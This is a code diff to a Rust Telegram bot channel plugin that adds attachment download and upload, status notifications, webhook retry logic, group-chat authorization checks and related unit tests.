+ Err(_) => return, + }; - let headers = serde_json::json!({ - "Content-Type": "application/json" - }); + let headers = serde_json::json!({ + "Content-Type": "application/json" + }); - let result = channel_host::http_request( - "POST", - "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendChatAction", - &headers.to_string(), - Some(&payload_bytes), - None, - ); + let result = channel_host::http_request( + "POST", + "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendChatAction", + &headers.to_string(), + Some(&payload_bytes), + None, + ); - if let Err(e) = result { - channel_host::log( - channel_host::LogLevel::Debug, - &format!("sendChatAction failed: {}", e), - ); + if let Err(e) = result { + channel_host::log( + channel_host::LogLevel::Debug, + &format!("sendChatAction failed: {}", e), + ); + } + } + TelegramStatusAction::Notify(prompt) => { + // Send user-visible status updates for actionable events. + if let Err(first_err) = + send_message(metadata.chat_id, &prompt, Some(metadata.message_id), None) + { + channel_host::log( + channel_host::LogLevel::Warn, + &format!( + "Failed to send status reply ({}), retrying without reply context", + first_err + ), + ); + + if let Err(retry_err) = send_message(metadata.chat_id, &prompt, None, None) { + channel_host::log( + channel_host::LogLevel::Debug, + &format!( + "Failed to send status message without reply context: {}", + retry_err + ), + ); + } + } + } } } @@ -643,15 +805,18 @@ impl std::fmt::Display for SendError { fn send_message( chat_id: i64, text: &str, - reply_to_message_id: i64, + reply_to_message_id: Option, parse_mode: Option<&str>, ) -> Result { let mut payload = serde_json::json!({ "chat_id": chat_id, "text": text, - "reply_to_message_id": reply_to_message_id, }); + if let Some(message_id) = reply_to_message_id { + payload["reply_to_message_id"] = serde_json::Value::Number(message_id.into()); + } + if let Some(mode) = parse_mode { payload["parse_mode"] = serde_json::Value::String(mode.to_string()); } @@ -709,6 +874,324 @@ fn send_message( } } +// ============================================================================ +// Voice File Download +// ============================================================================ + +/// Download a voice file from Telegram by file_id. +/// +/// 1. Call getFile to get the file_path. +/// 2. Download the file bytes from /file/bot{TOKEN}/{file_path}. +/// Percent-encode a string for safe use as a URL query parameter value. +fn percent_encode(s: &str) -> String { + let mut out = String::with_capacity(s.len()); + for b in s.bytes() { + match b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => { + out.push(b as char); + } + _ => { + out.push_str(&format!("%{:02X}", b)); + } + } + } + out +} + +fn download_telegram_file(file_id: &str) -> Result, String> { + // Reject file_id containing curly braces to prevent credential placeholder injection + if file_id.contains('{') || file_id.contains('}') { + return Err("invalid file_id: contains forbidden characters".to_string()); + } + + // Step 1: Call getFile to get file_path + let get_file_url = format!( + "https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getFile?file_id={}", + percent_encode(file_id) + ); + + let headers = serde_json::json!({}); + let result = + channel_host::http_request("GET", &get_file_url, &headers.to_string(), None, None); + + let response = result.map_err(|e| format!("getFile request failed: {}", e))?; + + if response.status != 200 { + let body_str = String::from_utf8_lossy(&response.body); + return Err(format!("getFile returned {}: {}", response.status, body_str)); + } + + let api_response: TelegramApiResponse = + serde_json::from_slice(&response.body) + .map_err(|e| format!("Failed to parse getFile response: {}", e))?; + + if !api_response.ok { + return Err(format!( + "getFile API error: {}", + api_response + .description + .unwrap_or_else(|| "unknown".to_string()) + )); + } + + let file = api_response + .result + .ok_or_else(|| "getFile returned no result".to_string())?; + + let file_path = file + .file_path + .ok_or_else(|| "getFile returned no file_path".to_string())?; + + // Sanitize file_path against credential placeholder injection + if file_path.contains('{') || file_path.contains('}') { + return Err("invalid file_path: contains forbidden characters".to_string()); + } + + // Step 2: Download the actual file bytes + let download_url = format!( + "https://api.telegram.org/file/bot{{TELEGRAM_BOT_TOKEN}}/{}", + file_path + ); + + let result = + channel_host::http_request("GET", &download_url, &headers.to_string(), None, None); + + let response = result.map_err(|e| format!("File download failed: {}", e))?; + + if response.status != 200 { + return Err(format!( + "File download returned status {}", + response.status + )); + } + + Ok(response.body) +} + +// ============================================================================ +// Attachment Sending (Photo / Document) +// ============================================================================ + +/// Maximum photo size for Telegram sendPhoto (10 MB). +const MAX_PHOTO_SIZE: usize = 10 * 1024 * 1024; + +/// Write a multipart/form-data text field. +fn write_multipart_field(body: &mut Vec, boundary: &str, name: &str, value: &str) { + body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes()); + body.extend_from_slice( + format!("Content-Disposition: form-data; name=\"{}\"\r\n\r\n", name).as_bytes(), + ); + body.extend_from_slice(value.as_bytes()); + body.extend_from_slice(b"\r\n"); +} + +/// Write a multipart/form-data file field. +fn write_multipart_file( + body: &mut Vec, + boundary: &str, + field: &str, + filename: &str, + content_type: &str, + data: &[u8], +) { + // Sanitize filename: strip quotes, newlines, and non-ASCII to prevent header injection + let safe_filename: String = filename + .chars() + .filter(|c| *c != '"' && *c != '\r' && *c != '\n' && *c != '\\' && c.is_ascii()) + .collect(); + let safe_filename = if safe_filename.is_empty() { + "file".to_string() + } else { + safe_filename + }; + body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes()); + body.extend_from_slice( + format!( + "Content-Disposition: form-data; name=\"{}\"; filename=\"{}\"\r\n", + field, safe_filename + ) + .as_bytes(), + ); + body.extend_from_slice(format!("Content-Type: {}\r\n\r\n", content_type).as_bytes()); + body.extend_from_slice(data); + body.extend_from_slice(b"\r\n"); +} + +/// Send a photo via the Telegram Bot API (multipart upload). +/// +/// Falls back to `send_document()` if the photo exceeds 10 MB. +fn send_photo( + chat_id: i64, + filename: &str, + mime_type: &str, + data: &[u8], + reply_to_message_id: Option, +) -> Result<(), String> { + if data.len() > MAX_PHOTO_SIZE { + channel_host::log( + channel_host::LogLevel::Info, + &format!( + "Photo {} exceeds 10MB ({}), sending as document", + filename, + data.len() + ), + ); + return send_document(chat_id, filename, mime_type, data, reply_to_message_id); + } + + let boundary = format!("ironclaw-{}", channel_host::now_millis()); + let mut body = Vec::new(); + + write_multipart_field(&mut body, &boundary, "chat_id", &chat_id.to_string()); + if let Some(msg_id) = reply_to_message_id { + write_multipart_field(&mut body, &boundary, "reply_to_message_id", &msg_id.to_string()); + } + write_multipart_file(&mut body, &boundary, "photo", filename, mime_type, data); + body.extend_from_slice(format!("--{}--\r\n", boundary).as_bytes()); + + let headers = serde_json::json!({ + "Content-Type": format!("multipart/form-data; boundary={}", boundary) + }); + + let result = channel_host::http_request( + "POST", + "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendPhoto", + &headers.to_string(), + Some(&body), + Some(60_000), // 60s timeout for file uploads + ); + + match result { + Ok(resp) if resp.status == 200 => { + channel_host::log( + channel_host::LogLevel::Debug, + &format!("Sent photo '{}' to chat {}", filename, chat_id), + ); + Ok(()) + } + Ok(resp) => { + let body_str = String::from_utf8_lossy(&resp.body); + Err(format!( + "sendPhoto failed (HTTP {}): {}", + resp.status, body_str + )) + } + Err(e) => Err(format!("sendPhoto HTTP request failed: {}", e)), + } +} + +/// Send a document via the Telegram Bot API (multipart upload). +fn send_document( + chat_id: i64, + filename: &str, + mime_type: &str, + data: &[u8], + reply_to_message_id: Option, +) -> Result<(), String> { + let boundary = format!("ironclaw-{}", channel_host::now_millis()); + let mut body = Vec::new(); + + write_multipart_field(&mut body, &boundary, "chat_id", &chat_id.to_string()); + if let Some(msg_id) = reply_to_message_id { + write_multipart_field(&mut body, &boundary, "reply_to_message_id", &msg_id.to_string()); + } + write_multipart_file(&mut body, &boundary, "document", filename, mime_type, data); + body.extend_from_slice(format!("--{}--\r\n", boundary).as_bytes()); + + let headers = serde_json::json!({ + "Content-Type": format!("multipart/form-data; boundary={}", boundary) + }); + + let result = channel_host::http_request( + "POST", + "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendDocument", + &headers.to_string(), + Some(&body), + Some(60_000), // 60s timeout for file uploads + ); + + match result { + Ok(resp) if resp.status == 200 => { + channel_host::log( + channel_host::LogLevel::Debug, + &format!("Sent document '{}' to chat {}", filename, chat_id), + ); + Ok(()) + } + Ok(resp) => { + let body_str = String::from_utf8_lossy(&resp.body); + Err(format!( + "sendDocument failed (HTTP {}): {}", + resp.status, body_str + )) + } + Err(e) => Err(format!("sendDocument HTTP request failed: {}", e)), + } +} + +/// Image MIME types that Telegram's sendPhoto API supports. +const PHOTO_MIME_TYPES: &[&str] = &[ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", +]; + +/// Send a full agent response (attachments + text) to a chat. +/// +/// Shared implementation for both `on_respond` and `on_broadcast`. +fn send_response( + chat_id: i64, + response: &AgentResponse, + reply_to_message_id: Option, +) -> Result<(), String> { + // Send attachments first (photos/documents) + for attachment in &response.attachments { + send_attachment(chat_id, attachment, reply_to_message_id)?; + } + + // Skip text if empty and we already sent attachments + if response.content.is_empty() && !response.attachments.is_empty() { + return Ok(()); + } + + // Try Markdown, fall back to plain text on parse errors + match send_message(chat_id, &response.content, reply_to_message_id, Some("Markdown")) { + Ok(_) => Ok(()), + Err(SendError::ParseEntities(_)) => { + send_message(chat_id, &response.content, reply_to_message_id, None) + .map(|_| ()) + .map_err(|e| format!("Plain-text retry also failed: {}", e)) + } + Err(e) => Err(e.to_string()), + } +} + +/// Send a single attachment, choosing sendPhoto or sendDocument based on MIME type. +fn send_attachment( + chat_id: i64, + attachment: &Attachment, + reply_to_message_id: Option, +) -> Result<(), String> { + if PHOTO_MIME_TYPES.contains(&attachment.mime_type.as_str()) { + send_photo( + chat_id, + &attachment.filename, + &attachment.mime_type, + &attachment.data, + reply_to_message_id, + ) + } else { + send_document( + chat_id, + &attachment.filename, + &attachment.mime_type, + &attachment.data, + reply_to_message_id, + ) + } +} + // ============================================================================ // Webhook Management // ============================================================================ @@ -793,36 +1276,61 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<() None, ); - match result { - Ok(response) => { - if response.status != 200 { - let body_str = String::from_utf8_lossy(&response.body); - return Err(format!("HTTP {}: {}", response.status, body_str)); - } + let mut response = match result { + Ok(response) => response, + Err(e) => return Err(format!("HTTP request failed: {}", e)), + }; - // Parse Telegram API response - let api_response: TelegramApiResponse = - serde_json::from_slice(&response.body) - .map_err(|e| format!("Failed to parse response: {}", e))?; + let mut retried = false; + if response.status == 409 { + channel_host::log( + channel_host::LogLevel::Warn, + "409 Conflict -- deleting existing webhook and retrying", + ); + let _ = delete_webhook(); + retried = true; - if !api_response.ok { - return Err(format!( - "Telegram API error: {}", - api_response - .description - .unwrap_or_else(|| "unknown".to_string()) - )); - } - - channel_host::log( - channel_host::LogLevel::Info, - &format!("Webhook registered successfully: {}", webhook_url), - ); - - Ok(()) - } - Err(e) => Err(format!("HTTP request failed: {}", e)), + response = match channel_host::http_request( + "POST", + "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook", + &headers.to_string(), + Some(&body_bytes), + None, + ) { + Ok(resp) => resp, + Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)), + }; } + + if response.status != 200 { + let body_str = String::from_utf8_lossy(&response.body); + let context = if retried { " (after 409 retry)" } else { "" }; + return Err(format!("HTTP {}{}: {}", response.status, context, body_str)); + } + + // Parse Telegram API response + let api_response: TelegramApiResponse = + serde_json::from_slice(&response.body) + .map_err(|e| format!("Failed to parse response: {}", e))?; + + if !api_response.ok { + let context = if retried { " (after 409 retry)" } else { "" }; + return Err(format!( + "Telegram API error{}: {}", + context, + api_response + .description + .unwrap_or_else(|| "unknown".to_string()) + )); + } + + let context = if retried { " (after retry)" } else { "" }; + channel_host::log( + channel_host::LogLevel::Info, + &format!("Webhook registered successfully{}: {}", context, webhook_url), + ); + + Ok(()) } // ============================================================================ @@ -831,40 +1339,17 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<() /// Send a pairing code message to a chat. Used when an unknown user DMs the bot. fn send_pairing_reply(chat_id: i64, code: &str) -> Result<(), String> { - let payload = serde_json::json!({ - "chat_id": chat_id, - "text": format!( + send_message( + chat_id, + &format!( "To pair with this bot, run: `ironclaw pairing approve telegram {}`", code ), - "parse_mode": "Markdown", - }); - - let payload_bytes = - serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize payload: {}", e))?; - - let headers = serde_json::json!({ - "Content-Type": "application/json" - }); - - let result = channel_host::http_request( - "POST", - "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage", - &headers.to_string(), - Some(&payload_bytes), None, - ); - - match result { - Ok(response) => { - if response.status != 200 { - let body_str = String::from_utf8_lossy(&response.body); - return Err(format!("HTTP {}: {}", response.status, body_str)); - } - Ok(()) - } - Err(e) => Err(format!("HTTP request failed: {}", e)), - } + Some("Markdown"), + ) + .map(|_| ()) + .map_err(|e| e.to_string()) } // ============================================================================ @@ -884,16 +1369,264 @@ fn handle_update(update: TelegramUpdate) { } } +/// Build extras-json with optional duration. +fn extras_json(duration_secs: Option) -> String { + match duration_secs { + Some(d) => format!(r#"{{"duration_secs":{}}}"#, d), + None => String::new(), + } +} + +/// Build an inbound attachment with the standard fields. +fn make_inbound_attachment( + id: String, + mime_type: String, + filename: Option, + size_bytes: Option, + source_url: Option, + extracted_text: Option, + duration_secs: Option, +) -> InboundAttachment { + InboundAttachment { + id, + mime_type, + filename, + size_bytes, + source_url, + storage_key: None, + extracted_text, + extras_json: extras_json(duration_secs), + } +} + +/// Extract attachments from a Telegram message. +fn extract_attachments(message: &TelegramMessage) -> Vec { + let mut attachments = Vec::new(); + let get_file_url = |file_id: &str| { + format!( + "https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getFile?file_id={}", + percent_encode(file_id) + ) + }; + + // Photo: Telegram sends multiple sizes; use the largest (last). + if let Some(ref photos) = message.photo { + if let Some(largest) = photos.last() { + attachments.push(make_inbound_attachment( + largest.file_id.clone(), + "image/jpeg".to_string(), + None, + largest.file_size.map(|s| s as u64), + Some(get_file_url(&largest.file_id)), + None, + None, + )); + } + } + + // Document + if let Some(ref doc) = message.document { + attachments.push(make_inbound_attachment( + doc.file_id.clone(), + doc.mime_type.clone().unwrap_or_else(|| "application/octet-stream".to_string()), + doc.file_name.clone(), + doc.file_size.map(|s| s as u64), + Some(get_file_url(&doc.file_id)), + None, + None, + )); + } + + // Audio + if let Some(ref audio) = message.audio { + attachments.push(make_inbound_attachment( + audio.file_id.clone(), + audio.mime_type.clone().unwrap_or_else(|| "audio/mpeg".to_string()), + audio.file_name.clone(), + audio.file_size.map(|s| s as u64), + Some(get_file_url(&audio.file_id)), + None, + audio.duration, + )); + } + + // Video + if let Some(ref video) = message.video { + attachments.push(make_inbound_attachment( + video.file_id.clone(), + video.mime_type.clone().unwrap_or_else(|| "video/mp4".to_string()), + video.file_name.clone(), + video.file_size.map(|s| s as u64), + Some(get_file_url(&video.file_id)), + None, + video.duration, + )); + } + + // Voice + if let Some(ref voice) = message.voice { + let mime_type = voice + .mime_type + .clone() + .unwrap_or_else(|| "audio/ogg".to_string()); + + attachments.push(make_inbound_attachment( + voice.file_id.clone(), + mime_type, + Some(format!("voice_{}.ogg", voice.file_id)), + voice.file_size.map(|s| s as u64), + Some(get_file_url(&voice.file_id)), + None, + Some(voice.duration), + )); + } + + // Sticker + if let Some(ref sticker) = message.sticker { + attachments.push(make_inbound_attachment( + sticker.file_id.clone(), + "image/webp".to_string(), + None, + sticker.file_size.map(|s| s as u64), + Some(get_file_url(&sticker.file_id)), + None, + None, + )); + } + + attachments +} + +/// Download voice file bytes and store them via the host for transcription. +/// +/// Separated from `extract_attachments` so that function stays pure (no host +/// calls) and remains testable in native unit tests. +fn download_and_store_voice(attachments: &[InboundAttachment]) { + for att in attachments { + // Voice attachments have a generated filename like "voice_.ogg" + let is_voice = att + .filename + .as_ref() + .is_some_and(|f| f.starts_with("voice_")); + if !is_voice { + continue; + } + + match download_telegram_file(&att.id) { + Ok(bytes) => { + channel_host::log( + channel_host::LogLevel::Info, + &format!("Downloaded voice file: {} bytes", bytes.len()), + ); + if let Err(e) = channel_host::store_attachment_data(&att.id, &bytes) { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Failed to store voice data: {}", e), + ); + } + } + Err(e) => { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Failed to download voice file: {}", e), + ); + } + } + } +} + +/// Returns true if the attachment should be downloaded for document text extraction. +/// +/// Excludes voice (handled by transcription), image (vision pipeline), +/// audio (transcription), and video attachments. +fn is_downloadable_document(att: &InboundAttachment) -> bool { + let is_voice = att + .filename + .as_ref() + .is_some_and(|f| f.starts_with("voice_")); + if is_voice { + return false; + } + if att.mime_type.starts_with("image/") + || att.mime_type.starts_with("audio/") + || att.mime_type.starts_with("video/") + { + return false; + } + true +} + +/// Download document file bytes and store them via the host for text extraction. +/// +/// Downloads any attachment that isn't voice or image so the host-side +/// `DocumentExtractionMiddleware` can extract text from PDFs, Office docs, etc. +/// +/// On failure, sets `extracted_text` to an error message so the user gets feedback. +fn download_and_store_documents(attachments: &mut [InboundAttachment]) { + for att in attachments.iter_mut() { + if !is_downloadable_document(att) { + continue; + } + + match download_telegram_file(&att.id) { + Ok(bytes) => { + channel_host::log( + channel_host::LogLevel::Info, + &format!( + "Downloaded document file: {} bytes, mime={}", + bytes.len(), + att.mime_type + ), + ); + if let Err(e) = channel_host::store_attachment_data(&att.id, &bytes) { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Failed to store document data: {}", e), + ); + } + } + Err(e) => { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Failed to download document file: {}", e), + ); + let name = att.filename.as_deref().unwrap_or("document"); + att.extracted_text = Some(format!( + "[Failed to download '{name}': {e}. \ + The file may be too large or unavailable. Please try a smaller file.]" + )); + } + } + } +} + /// Process a single message. fn handle_message(message: TelegramMessage) { + // Extract attachments from media fields (pure data mapping, no host calls) + let mut attachments = extract_attachments(&message); + + // Download and store voice attachments for host-side transcription + download_and_store_voice(&attachments); + + // Download and store document attachments for host-side text extraction + download_and_store_documents(&mut attachments); + // Use text or caption (for media messages) + let has_voice = message.voice.is_some(); let content = message .text .filter(|t| !t.is_empty()) .or_else(|| message.caption.filter(|c| !c.is_empty())) - .unwrap_or_default(); + .unwrap_or_else(|| { + if has_voice { + "[Voice note]".to_string() + } else { + String::new() + } + }); - if content.is_empty() { + // Allow messages with attachments even if text content is empty + if content.is_empty() && attachments.is_empty() { return; } @@ -926,11 +1659,14 @@ fn handle_message(message: TelegramMessage) { return; } } - } else if is_private { - // No owner_id: apply dm_policy for private chats + } else { + // No owner_id: apply authorization based on dm_policy and allow_from + // This applies to both private and group chats when owner_id is null let dm_policy = channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string()); + // For private chats with non-open policy, check allowlist + // For group chats with non-open policy, also check allowlist if dm_policy != "open" { // Build effective allow list: config allow_from + pairing store let mut allowed: Vec = channel_host::workspace_read(ALLOW_FROM_PATH) @@ -948,8 +1684,8 @@ fn handle_message(message: TelegramMessage) { || username_opt.map_or(false, |u| allowed.contains(&u.to_string())); if !is_allowed { - if dm_policy == "pairing" { - // Upsert pairing request and send reply + if is_private && dm_policy == "pairing" { + // Upsert pairing request and send reply (only for private chats) let meta = serde_json::json!({ "chat_id": message.chat.id, "user_id": from.id, @@ -977,6 +1713,15 @@ fn handle_message(message: TelegramMessage) { ); } } + } else if !is_private { + // For group chats with non-open dm_policy, just log and drop + channel_host::log( + channel_host::LogLevel::Debug, + &format!( + "Dropping message from unauthorized user {} in group chat", + from.id + ), + ); } return; } @@ -1027,24 +1772,19 @@ fn handle_message(message: TelegramMessage) { let metadata_json = serde_json::to_string(&metadata).unwrap_or_else(|_| "{}".to_string()); - // Clean the message text (strip bot mentions and commands) let bot_username = channel_host::workspace_read(BOT_USERNAME_PATH).unwrap_or_default(); - let cleaned_text = clean_message_text( + let content_to_emit = match content_to_emit_for_agent( &content, if bot_username.is_empty() { None } else { Some(bot_username.as_str()) }, - ); - - // For /start with no args, emit placeholder so agent can respond with welcome - let content_to_emit = if cleaned_text.is_empty() && content.trim().starts_with('/') { - "[User started the bot]".to_string() - } else if cleaned_text.is_empty() { - return; - } else { - cleaned_text + ) { + Some(value) => value, + // Allow attachment-only messages even without text + None if !attachments.is_empty() => String::new(), + None => return, }; // Emit the message to the agent @@ -1054,6 +1794,7 @@ fn handle_message(message: TelegramMessage) { content: content_to_emit, thread_id: None, // Telegram doesn't have threads in the same way metadata_json, + attachments, }); channel_host::log( @@ -1112,6 +1853,31 @@ fn clean_message_text(text: &str, bot_username: Option<&str>) -> String { result } +/// Decide which user content should be emitted to the agent loop. +/// +/// - `/start` emits a placeholder so the agent can greet the user +/// - bare slash commands are passed through for Submission parsing +/// - empty/mention-only messages are ignored +/// - otherwise cleaned text is emitted +fn content_to_emit_for_agent(content: &str, bot_username: Option<&str>) -> Option { + let cleaned_text = clean_message_text(content, bot_username); + let trimmed_content = content.trim(); + + if trimmed_content.eq_ignore_ascii_case("/start") { + return Some("[User started the bot]".to_string()); + } + + if cleaned_text.is_empty() && trimmed_content.starts_with('/') { + return Some(trimmed_content.to_string()); + } + + if cleaned_text.is_empty() { + return None; + } + + Some(cleaned_text) +} + // ============================================================================ // Utilities // ============================================================================ @@ -1159,6 +1925,141 @@ mod tests { assert_eq!(clean_message_text("@MyBot", Some("MyBot")), ""); } + #[test] + fn test_clean_message_text_bare_commands() { + // Bare commands return empty (the caller decides what to emit) + assert_eq!(clean_message_text("/start", None), ""); + assert_eq!(clean_message_text("/interrupt", None), ""); + assert_eq!(clean_message_text("/stop", None), ""); + assert_eq!(clean_message_text("/help", None), ""); + assert_eq!(clean_message_text("/undo", None), ""); + assert_eq!(clean_message_text("/ping", None), ""); + + // Commands with args: command prefix stripped, args returned + assert_eq!(clean_message_text("/start hello", None), "hello"); + assert_eq!(clean_message_text("/help me please", None), "me please"); + assert_eq!( + clean_message_text("/model claude-opus-4-6", None), + "claude-opus-4-6" + ); + } + + /// Tests for the content_to_emit logic in handle_message. + /// Since handle_message uses WASM host calls, test the extracted decision function. + #[test] + fn test_content_to_emit_logic() { + // /start → welcome placeholder + assert_eq!( + content_to_emit_for_agent("/start", None), + Some("[User started the bot]".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/Start", None), + Some("[User started the bot]".to_string()) + ); + assert_eq!( + content_to_emit_for_agent(" /start ", None), + Some("[User started the bot]".to_string()) + ); + + // /start with args → pass args through + assert_eq!( + content_to_emit_for_agent("/start hello", None), + Some("hello".to_string()) + ); + + // Control commands → pass through raw so Submission::parse() can match + assert_eq!( + content_to_emit_for_agent("/interrupt", None), + Some("/interrupt".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/stop", None), + Some("/stop".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/help", None), + Some("/help".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/undo", None), + Some("/undo".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/redo", None), + Some("/redo".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/ping", None), + Some("/ping".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/tools", None), + Some("/tools".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/compact", None), + Some("/compact".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/clear", None), + Some("/clear".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/version", None), + Some("/version".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/approve", None), + Some("/approve".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/always", None), + Some("/always".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/deny", None), + Some("/deny".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/yes", None), + Some("/yes".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("/no", None), + Some("/no".to_string()) + ); + + // Commands with args → cleaned text (command stripped) + assert_eq!( + content_to_emit_for_agent("/help me please", None), + Some("me please".to_string()) + ); + + // Plain text → pass through + assert_eq!( + content_to_emit_for_agent("hello world", None), + Some("hello world".to_string()) + ); + assert_eq!( + content_to_emit_for_agent("just text", None), + Some("just text".to_string()) + ); + + // Empty / whitespace → skip (None) + assert_eq!(content_to_emit_for_agent("", None), None); + assert_eq!(content_to_emit_for_agent(" ", None), None); + + // Bare @mention without bot → skip + assert_eq!(content_to_emit_for_agent("@botname", None), None); + + // With bot username configured: other mentions are preserved. + assert_eq!( + content_to_emit_for_agent("@alice hello", Some("MyBot")), + Some("@alice hello".to_string()) + ); + } + #[test] fn test_config_with_owner_id() { let json = r#"{"owner_id": 123456789}"#; @@ -1237,4 +2138,471 @@ mod tests { assert_eq!(msg.text, None); assert_eq!(msg.caption.as_deref(), Some("What's in this image?")); } + + #[test] + fn test_get_updates_url_includes_offset_and_timeout() { + let url = get_updates_url(444_809_884, 30); + assert!(url.contains("offset=444809884")); + assert!(url.contains("timeout=30")); + assert!(url.contains("allowed_updates=[\"message\",\"edited_message\"]")); + } + + #[test] + fn test_classify_status_update_thinking() { + let update = StatusUpdate { + status: StatusType::Thinking, + message: "Thinking...".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!( + classify_status_update(&update), + Some(TelegramStatusAction::Typing) + ); + } + + #[test] + fn test_classify_status_update_approval_needed() { + let update = StatusUpdate { + status: StatusType::ApprovalNeeded, + message: "Approval needed for tool 'http_request'".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!( + classify_status_update(&update), + Some(TelegramStatusAction::Notify( + "Approval needed for tool 'http_request'".to_string() + )) + ); + } + + #[test] + fn test_classify_status_update_done_ignored() { + let update = StatusUpdate { + status: StatusType::Done, + message: "Done".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_auth_required() { + let update = StatusUpdate { + status: StatusType::AuthRequired, + message: "Authentication required for weather.".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!( + classify_status_update(&update), + Some(TelegramStatusAction::Notify( + "Authentication required for weather.".to_string() + )) + ); + } + + #[test] + fn test_classify_status_update_tool_started_ignored() { + let update = StatusUpdate { + status: StatusType::ToolStarted, + message: "Tool started: http_request".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_tool_completed_ignored() { + let update = StatusUpdate { + status: StatusType::ToolCompleted, + message: "Tool completed: http_request (ok)".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_job_started_notify() { + let update = StatusUpdate { + status: StatusType::JobStarted, + message: "Job started: Daily sync".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!( + classify_status_update(&update), + Some(TelegramStatusAction::Notify( + "Job started: Daily sync".to_string() + )) + ); + } + + #[test] + fn test_classify_status_update_auth_completed_notify() { + let update = StatusUpdate { + status: StatusType::AuthCompleted, + message: "Authentication completed for weather.".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!( + classify_status_update(&update), + Some(TelegramStatusAction::Notify( + "Authentication completed for weather.".to_string() + )) + ); + } + + #[test] + fn test_classify_status_update_tool_result_ignored() { + let update = StatusUpdate { + status: StatusType::ToolResult, + message: "Tool result: http_request ...".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_awaiting_approval_ignored() { + let update = StatusUpdate { + status: StatusType::Status, + message: "Awaiting approval".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_interrupted_ignored() { + let update = StatusUpdate { + status: StatusType::Interrupted, + message: "Interrupted".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_status_done_ignored_case_insensitive() { + let update = StatusUpdate { + status: StatusType::Status, + message: "done".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_status_interrupted_ignored() { + let update = StatusUpdate { + status: StatusType::Status, + message: "interrupted".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_status_rejected_ignored() { + let update = StatusUpdate { + status: StatusType::Status, + message: "Rejected".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(classify_status_update(&update), None); + } + + #[test] + fn test_classify_status_update_status_notify() { + let update = StatusUpdate { + status: StatusType::Status, + message: "Context compaction started".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!( + classify_status_update(&update), + Some(TelegramStatusAction::Notify( + "Context compaction started".to_string() + )) + ); + } + + #[test] + fn test_status_message_for_user_ignores_blank() { + let update = StatusUpdate { + status: StatusType::AuthRequired, + message: " ".to_string(), + metadata_json: "{}".to_string(), + }; + + assert_eq!(status_message_for_user(&update), None); + } + + #[test] + fn test_truncate_status_message_appends_ellipsis() { + let input = "abcdefghijklmnopqrstuvwxyz"; + let output = truncate_status_message(input, 10); + assert_eq!(output, "abcdefghij..."); + } + + #[test] + fn test_status_message_for_user_truncates_long_input() { + let update = StatusUpdate { + status: StatusType::AuthRequired, + message: "x".repeat(700), + metadata_json: "{}".to_string(), + }; + + let msg = status_message_for_user(&update).expect("expected message"); + assert!(msg.len() <= TELEGRAM_STATUS_MAX_CHARS + 3); + assert!(msg.ends_with("...")); + } + + // === Attachment extraction fixture tests === + + #[test] + fn test_extract_attachments_photo() { + let json = r#"{ + "message_id": 1, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "caption": "What is this?", + "photo": [ + {"file_id": "small_id", "file_unique_id": "s1", "width": 90, "height": 90, "file_size": 1234}, + {"file_id": "large_id", "file_unique_id": "l1", "width": 800, "height": 600, "file_size": 54321} + ] + 